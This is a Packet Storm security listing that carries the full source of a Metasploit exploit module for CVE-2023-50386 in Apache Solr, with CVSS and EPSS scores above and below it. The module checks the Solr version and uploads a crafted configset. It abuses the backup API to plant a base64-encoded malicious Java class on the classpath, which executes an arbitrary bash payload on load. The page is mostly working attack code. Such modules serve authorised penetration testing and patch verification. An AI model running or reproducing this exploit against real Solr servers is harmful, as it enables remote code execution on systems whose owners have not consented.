Lucene search

K
packetstormJheysel-r7, l3yx, metasploit.comPACKETSTORM:178255
HistoryApr 24, 2024 - 12:00 a.m.

Apache Solr Backup/Restore API Remote Code Execution

2024-04-2400:00:00
jheysel-r7, l3yx, metasploit.com
packetstormsecurity.com
142
apache solr
unrestricted file upload
remote code execution
java
http
cve-2023-50386
metasploit
8983
solr
authentication
lucene
vulnerable

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

47.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Java  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::ApacheSolr  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Solr Backup/Restore APIs RCE',  
'Description' => %q{  
Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File  
with Dangerous Type vulnerability which can result in remote code execution in the context of the user running  
Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load  
some classes from it. The backup function of the Collection can export malicious class files uploaded by  
attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution  
can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.  
},  
'Author' => [  
'l3yx', # discovery  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],  
[ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],  
[ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],  
[ 'CVE', '2023-50386']  
],  
'License' => MSF_LICENSE,  
'Platform' => %w[unix linux],  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => %w[unix linux],  
'Arch' => ARCH_CMD  
}  
]  
],  
'Payload' => {  
'BadChars' => "\x20"  
},  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'FETCH_WRITABLE_DIR' => '/tmp/'  
},  
'DisclosureDate' => '2024-02-24',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8983),  
OptString.new('USERNAME', [false, 'Solr username', 'solr']),  
OptString.new('PASSWORD', [false, 'Solr password']),  
OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),  
]  
)  
end  
  
# If authentication is used  
@auth_string = ''  
  
def check  
print_status('Running check method')  
auth_res = solr_check_auth  
unless auth_res  
return CheckCode::Unknown('Authentication failed!')  
end  
  
# convert to JSON  
ver_json = auth_res.get_json_document  
# get Solr version  
solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])  
print_status("Found Apache Solr #{solr_version}")  
# get OS version details  
@target_platform = ver_json['system']['name']  
target_arch = ver_json['system']['arch']  
target_osver = ver_json['system']['version']  
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")  
  
unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||  
solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))  
return CheckCode::Safe('Running version of Solr is not vulnerable!')  
end  
  
CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")  
end  
  
# This method returns the compiled byte code of the following class, SourceParser.java:  
#  
# package zk_backup_0.configs.confname;  
#  
# import sun.misc.Unsafe;  
# import java.io.BufferedReader;  
# import java.io.File;  
# import java.io.FileOutputStream;  
# import java.io.InputStreamReader;  
# import java.lang.reflect.Field;  
# import java.lang.reflect.Method;  
# import java.security.ProtectionDomain;  
# import java.util.Map;  
#  
#  
# public class SourceParser {  
#  
# static {  
# try {  
# Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");  
# unsafeField.setAccessible(true);  
# Unsafe unsafe = (Unsafe) unsafeField.get(null);  
# Module module = Object.class.getModule();  
# Class<?> currentClass = SourceParser.class;  
# long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
# unsafe.getAndSetObject(currentClass, addr, module);  
#  
# String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };  
# Class clz = Class.forName("java.lang.ProcessImpl");  
# Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);  
# method.setAccessible(true);  
# Process process = (Process) method.invoke(clz, cmd, null, null, null, false);  
# } catch (Exception e) {  
# e.printStackTrace();  
# }  
# }  
# }  
def go_go_gadget(configuration1_name)  
gadget = ''  
gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'  
gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'  
gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'  
gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'  
gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'  
gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'  
gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'  
gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'  
gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'  
gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'  
gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'  
gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'  
gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'  
gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'  
gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'  
gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'  
gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'  
gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'  
gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'  
gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'  
gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'  
gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'  
gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'  
gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'  
gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'  
gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'  
gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'  
gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'  
gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'  
gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'  
gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='  
gadget = Rex::Text.decode_base64(gadget)  
# Replace 'confname' with our randomized 8 character configuration name  
gadget.sub!('confname', configuration1_name)  
# Replace the placeholder payload with our packed payload which is prefixed with it's size.  
gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))  
end  
  
def packed_payload(pload)  
"#{[pload.length].pack('n')}#{pload}"  
end  
  
def create_zip  
zip_file = Rex::Zip::Archive.new  
directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')  
  
Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|  
if File.file?(file_path)  
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path  
file_contents = File.read(file_path)  
zip_file.add_file(relative_path, file_contents)  
elsif File.directory?(file_path)  
relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path  
zip_file.add_file(relative_path, nil, recursive: true)  
end  
end  
  
zip_file  
end  
  
def upload_conf(file_name, zip_archive, conf_name)  
mime = Rex::MIME::Message.new  
mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")  
  
res = solr_post({  
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),  
'method' => 'POST',  
'ctype' => 'application/octet-stream',  
'data' => zip_archive,  
'auth' => @auth_string,  
'vars_get' => {  
'action' => 'UPLOAD',  
'name' => conf_name  
}  
})  
  
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200  
  
data = res.get_json_document  
if data.dig('responseHeader', 'status') == 0  
print_good('Uploaded configuration successfully')  
elsif data.dig('error', 'msg')  
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")  
else  
fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")  
end  
res  
end  
  
def create_collection(collection_name, configuration_name)  
solr_get({  
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),  
'method' => 'GET',  
'auth' => @auth_string,  
'vars_get' => {  
'action' => 'CREATE',  
'name' => collection_name,  
'numShards' => 1,  
'replicationFactor' => 1,  
'wt' => 'json',  
'collection.configName' => configuration_name  
}  
})  
end  
  
def backup_collection(collection_name, location, backup_name)  
res = solr_get({  
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),  
'method' => 'GET',  
'auth' => @auth_string,  
'vars_get' => {  
'action' => 'BACKUP',  
'collection' => collection_name,  
'location' => location,  
'name' => backup_name  
}  
})  
  
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res  
  
data = res.get_json_document  
  
if data.dig('responseHeader', 'status') == 0  
print_good('Backed up collection successfully')  
elsif data.dig('error', 'msg')  
fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")  
else  
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")  
end  
res  
end  
  
def cleanup  
print_status('Cleaning up...')  
  
# Clean up collections and configurations  
# Delete the collection first then the configs or you'll get the following error:  
# "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"  
if @collection_res&.code == 200  
delete_collection_res = solr_get({  
'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),  
'method' => 'GET',  
'auth' => @auth_string,  
'vars_get' => {  
'action' => 'DELETE',  
'name' => @collection1_name  
}  
})  
print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200  
end  
  
if @conf1_res&.code == 200  
delete_conf1_res = solr_get({  
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),  
'method' => 'GET',  
'auth' => @auth_string,  
'vars_get' => {  
'action' => 'DELETE',  
'name' => @configuration1_name  
}  
})  
print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200  
end  
  
if @conf2_res&.code == 200  
delete_conf2_res = solr_get({  
'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),  
'method' => 'GET',  
'auth' => @auth_string,  
'vars_get' => {  
'action' => 'DELETE',  
'name' => @configuration2_name  
}  
})  
print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200  
end  
end  
  
def exploit  
@collection1_name = Rex::Text.rand_text_alpha(8)  
@configuration1_name = Rex::Text.rand_text_alpha_lower(8)  
@collection2_name = Rex::Text.rand_text_alpha(8)  
  
# Zip up conf1  
conf1_zip = create_zip  
conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))  
conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))  
  
# Upload conf1  
@conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)  
  
# Create collection from conf1  
@collection_res = create_collection(@collection1_name, @configuration1_name)  
  
fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res  
data = @collection_res.get_json_document  
if @collection_res.code == 200 && data['responseHeader']['status'] == 0  
vprint_good('Created collection successfully')  
elsif data['error']['msg']  
fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")  
else  
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")  
end  
  
# Backup collection and export conf1  
location = '/var/solr/data/'  
backup_name = "#{@collection2_name}_shard1_replica_n1"  
backup_collection(@collection1_name, location, backup_name)  
  
# Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:  
location = "/var/solr/data/#{backup_name}"  
backup_name = 'lib'  
backup_collection(@collection1_name, location, backup_name)  
  
# Zip up conf2  
conf2_zip = create_zip  
editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))  
editted_solrconfig = editted_solrconfig.gsub('</config>', " <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")  
conf2_zip.add_file('solrconfig.xml', editted_solrconfig)  
  
# Upload conf2  
@configuration2_name = Rex::Text.rand_text_alpha(8)  
@conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)  
  
# Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the  
# first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)  
res = create_collection(@collection2_name, @configuration2_name)  
  
fail_with(Failure::UnexpectedReply, 'No response from the target') unless res  
data = res&.get_json_document  
if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"  
print_good('Successfully dropped the payload')  
else  
fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")  
end  
end  
end  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

47.6%